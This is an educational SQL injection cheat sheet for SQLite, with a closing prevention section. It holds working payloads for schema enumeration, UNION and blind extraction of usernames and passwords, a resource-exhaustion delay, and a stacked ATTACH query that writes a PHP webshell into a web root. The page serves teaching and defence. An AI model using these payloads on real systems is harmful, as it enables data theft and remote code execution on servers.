SQLite
No sleep, no network, no users, no information_schema — but sqlite_master hands you the entire schema in one query, and ATTACH writes files.
Why SQLite Is Different
SQLite is an embedded library, not a server. There is no separate process, no network listener, no user accounts, and no privilege system. Everything runs with the file permissions of the host application.
That shapes exploitation in both directions:
Harder: no sleep function, so time-based inference needs a manufactured delay. No network primitives at all, so out-of-band exfiltration is impossible. Dynamic typing means casts do not raise, so error-based extraction largely does not work.
Easier: no privilege model to fight — if the application can read a table, so can you. And sqlite_master returns the complete CREATE TABLE statement for every table, so one query gives you the whole schema including column names and types.
SQLite is also the engine powering the Sandbox on this site, so everything here is directly testable in your browser.
Fingerprinting
' AND sqlite_version()>'3'-- -
' AND (SELECT COUNT(*) FROM sqlite_master)>0-- -
-- Negative tests that identify SQLite by exclusion:
' AND @@version=@@version-- - -- fails: no @@ variables
' AND SLEEP(1)-- - -- fails: no such function
' AND 1=(SELECT 1 FROM dual)-- - -- fails: no dual
-- Error text:
-- "unrecognized token", "near \"...\": syntax error",
-- "no such column", "SQLITE_ERROR"Syntax Reference
| Operation | Syntax |
|---|---|
| Comment | -- - or /* */ |
| Version | sqlite_version() |
| Current user | Does not exist — no user model |
| Current database | PRAGMA database_list |
| Concatenation | a||b |
| Substring | SUBSTR(s,1,1) |
| Length | LENGTH(s) |
| ASCII value | UNICODE(c) (not ascii()) |
| Char from code | CHAR(65) |
| Hex encode | HEX(s) |
| Cast | CAST(s AS int) — never raises, yields 0 |
| Delay | No sleep. randomblob(n) as a load-based substitute |
| Conditional | CASE WHEN cond THEN a ELSE b END IIF(c,a,b) (3.32+) |
| Row limit | LIMIT 1 OFFSET 5 |
| Aggregate rows | group_concat(col,',') |
| No-table SELECT | SELECT 1 (no FROM needed) |
| Stacked queries | Yes via exec()/executescript(); no via prepare() |
Schema Enumeration
There is no information_schema. Instead, sqlite_master stores the literal DDL text of every object — which means a single query returns table names, column names, and types together. This is the fastest schema discovery of any engine and is especially valuable under blind conditions, where every request counts.
sqlite_master
-- Table names
SELECT name FROM sqlite_master WHERE type='table'
-- Full DDL — names, columns, types, constraints, in one value
SELECT sql FROM sqlite_master WHERE type='table' AND name='users'
-- => CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT,
-- password TEXT, email TEXT, role TEXT)
-- Entire schema in one request
SELECT group_concat(sql, ';\n') FROM sqlite_master WHERE type='table'
-- Indexes and triggers too
SELECT name,type,sql FROM sqlite_master
-- Column list without parsing DDL (3.16+)
SELECT name FROM pragma_table_info('users')
-- Attached databases
PRAGMA database_list
-- Newer builds expose sqlite_schema as an alias; if sqlite_master
-- is filtered, try that name instead.
SELECT name FROM sqlite_schema WHERE type='table'Extraction
-- UNION: SQLite is permissive about column types, so mismatches
-- rarely block you the way they do on PostgreSQL or Oracle.
' UNION SELECT NULL,username||':'||password,NULL FROM users-- -
-- Whole table in one cell
' UNION SELECT NULL,group_concat(username||':'||password, char(10)),NULL
FROM users-- -
-- Boolean-blind — note unicode(), not ascii()
' AND UNICODE(SUBSTR((SELECT password FROM users LIMIT 1),1,1))>79-- -
-- Time-blind: no sleep function exists. Force real work instead.
-- Calibrate the size; this is load-dependent, not a fixed duration.
' AND 1=(SELECT CASE WHEN (1=1) THEN randomblob(1000000000) ELSE 1 END)-- -File Write via ATTACH
ATTACH DATABASE opens another database file — and creates it if it does not exist. Since a SQLite file is mostly a container with your data embedded in it, and since a PHP interpreter ignores surrounding binary noise, this is a webshell drop primitive.
It requires stacked queries (so the application must use exec() rather than prepare()) and a writable directory that is served by the web server. Both conditions are common in small PHP applications backed by SQLite.
ATTACH webshell drop
'; ATTACH DATABASE '/var/www/html/shell.php' AS s;
CREATE TABLE s.p (c TEXT);
INSERT INTO s.p VALUES ('<?php system($_GET[0]); ?>')-- -
-- The resulting file is a valid SQLite database whose bytes happen to
-- contain the PHP tag. PHP scans for <?php and ignores the rest.
-- Reading files is NOT possible: SQLite has no equivalent of
-- LOAD_FILE or pg_read_file. readfile() exists only in the CLI shell,
-- not in the SQL language.
-- load_extension() can load a shared library, which would be RCE —
-- but it is disabled by default at compile time in almost every
-- distribution, and needs the .so to already exist on disk.
'; SELECT load_extension('/tmp/evil.so')-- -Quirks Worth Knowing
Dynamic typing swallows errors. CAST('abc' AS INTEGER) returns 0 rather than raising. This is why error-based extraction does not work, and also why type-confused comparisons behave oddly: '1abc' = 1 is false in SQLite (unlike MySQL), because the comparison is between a text value and an integer value.
unicode(), not ascii(). A frequent cause of payloads silently returning nothing.
Stacking depends entirely on the API. sqlite3_exec and Python's executescript run multiple statements; sqlite3_prepare and execute run exactly one. The same database is stackable or not depending on the call the developer chose.
No sleep. Timing attacks must use randomblob or a heavy join, both load-dependent and imprecise.
Comments still need care. -- works, but keep the -- - habit for URL safety.
Everything runs as the application. There is no privilege boundary to escalate across; the ceiling is whatever the host process can do.
Prevention
Parameterise. In SQLite this has an unusually strong secondary benefit: the prepare-based APIs accept exactly one statement, so correct parameterisation also removes stacked queries and with them the ATTACH webshell path.
Specifically:
- Use
execute(sql, params)in Python, neverexecutescriptwith interpolated input. - In PHP use PDO with
PDO::ATTR_EMULATE_PREPARES => false. - In Node.js use
better-sqlite3prepared statements ordb.run(sql, params). - Ensure the database file's directory is outside the web root, and that the application process cannot write into a served directory.
- Leave
load_extensiondisabled.
Related
Extracting data one bit at a time by asking yes/no questions and reading the answer from how the page changes.
Appending an entirely separate statement after the original. Where supported it turns a read-only injection into arbitrary write access — and often into code execution.
Turning a database query into filesystem access: reading configuration and credentials, and writing a webshell into a served directory.
DB-API placeholders (and why they are not %-formatting), psycopg's sql.Identifier for safe dynamic identifiers, and SQLAlchemy bindparams.
Placeholders in pg and mysql2, Knex raw bindings, and Prisma's tagged-template-vs-Unsafe distinction.
Appending a second SELECT to the original query so its rows are returned alongside the application's own results. The fastest extraction path when output is visible.